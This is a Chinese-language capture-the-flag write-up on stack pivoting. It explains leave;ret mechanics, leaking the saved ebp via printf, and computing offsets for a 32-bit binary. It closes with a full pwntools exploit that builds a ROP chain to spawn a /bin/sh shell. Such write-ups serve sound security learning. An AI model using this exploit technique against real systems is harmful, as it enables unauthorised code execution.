前置知识:
栈迁移概念:当存在栈溢出且可溢出长度不足以容纳 payload 时,可采用栈迁移。一般这种情况下,溢出仅能覆盖 ebp 、 eip 。因为原来的栈空间不足,所以要构建一个新的栈空间放下 payload ,因此称为栈迁移。
栈迁移原理:栈执行命令是从esp指向的位置想ebp指向的位置执行。正常情况退栈的操作是:esp指向ebp指向位置,ebp指向ebp里的内容所指向的位置。当遇见leave|ret命令的时候,相当于执行mov esp ebp; pop ebp; ret;作用就是将ebp指向的位置给esp,将ebp指向ebp里的内容所指向的位置,相当于ebp=(ebp)。
如果我们提前控制了ebp的值,那么当遇见leave指令的时候,ebp的值就会给到esp,由于esp里的内容会给到eip,所以就可以通过控制esp里的内容,实现控制指令执行流。
惯例checksec一下,32位系统,没开什么防护
main函数很简洁,一看就知道是栈溢出漏洞
你可能会想,用0x28字节的padding在ret的地方填上printf函数的地址,调用printf函数,然后打印某一个函数的地址,在使用libcsearcher算出基址,就可以打通。可惜的是这样的做法是错的。
因为对s大小的限定,所以你最多只能构造大小为0x30的payload,但是如果按照上面的做法。填充到r需要0x28大小的padding,然后一个4字节的printf函数覆盖返回地址,跟一个4个字节的printf函数的返回地址,然后填上你想泄露的函数地址又是4字节。0x28+4+4+4=0x34。很可惜,比0x30大了4字节。
这种情况就应该用栈迁移。
因为这道题有两次输入,所以我们可以通过第一次输入,控制ebp的内容,使esp到了ebp这个位置的时候,去到我们想让他去的地方。
为了得到ebp在栈里的位置。这里有一个知识,printf这个函数遇到/x00就会截断,如果没遇到,就会一直打印,直到遇到/x00。
那么我们将栈填满padding,由于printf遇不到/x00,那么他就不会停下,他会把ebp在栈里的位置”勾“出来。这段代码如下:
知道了ebp在栈里的地址之后,我们便要得到偏移。
0xff808cb8-0xff808c80=0x38 ,得到偏移为0x38.
然后接下来就要利用第二次read布局我们的rop链:
首先,要有一个system函数,其次填写上他的返回地址(随便什么就行,为了节目效果填写deadbeef),再然后就是/bin/sh。最后用padding填满0x28字节直到ebp,ebp填充sys函数的返回地址的前4字节(用aaaa填充前四个字节,因为esp指向aaaa时,eip执行的是他的下一跳指令)。然后填上leave|ret 指令
使用ROPgadget找到leave|ret指令,任君使用了属于是。
然后interactive()打穿对方服务器!
完整exp如下:
from pwn import *
from LibcSearcher import *
#r=remote('node4.buuoj.cn',26835)
r=process('./a')
elf=ELF('./a')
context.log_level='debug'
#context.terminal = ['tmux','splitw','-h']
#gdb.attach(proc.pidof(r)[0],gdbscript="b main")
sys=0x8048400
leave_ret=0x80484b8
gdb.attach(r)
r.recvuntil("Welcome, my friend. What's your name?\n")
payload='a'*0x27+'b'
r.send(payload)
r.recvuntil('b')
ebp_addr=u32(r.recv(4))
print(hex(ebp_addr))
#gdb.attach(r)
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp_addr-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp_addr-0x38)
payload2+=p32(leave_ret)
r.sendline(payload2)
r.interactive()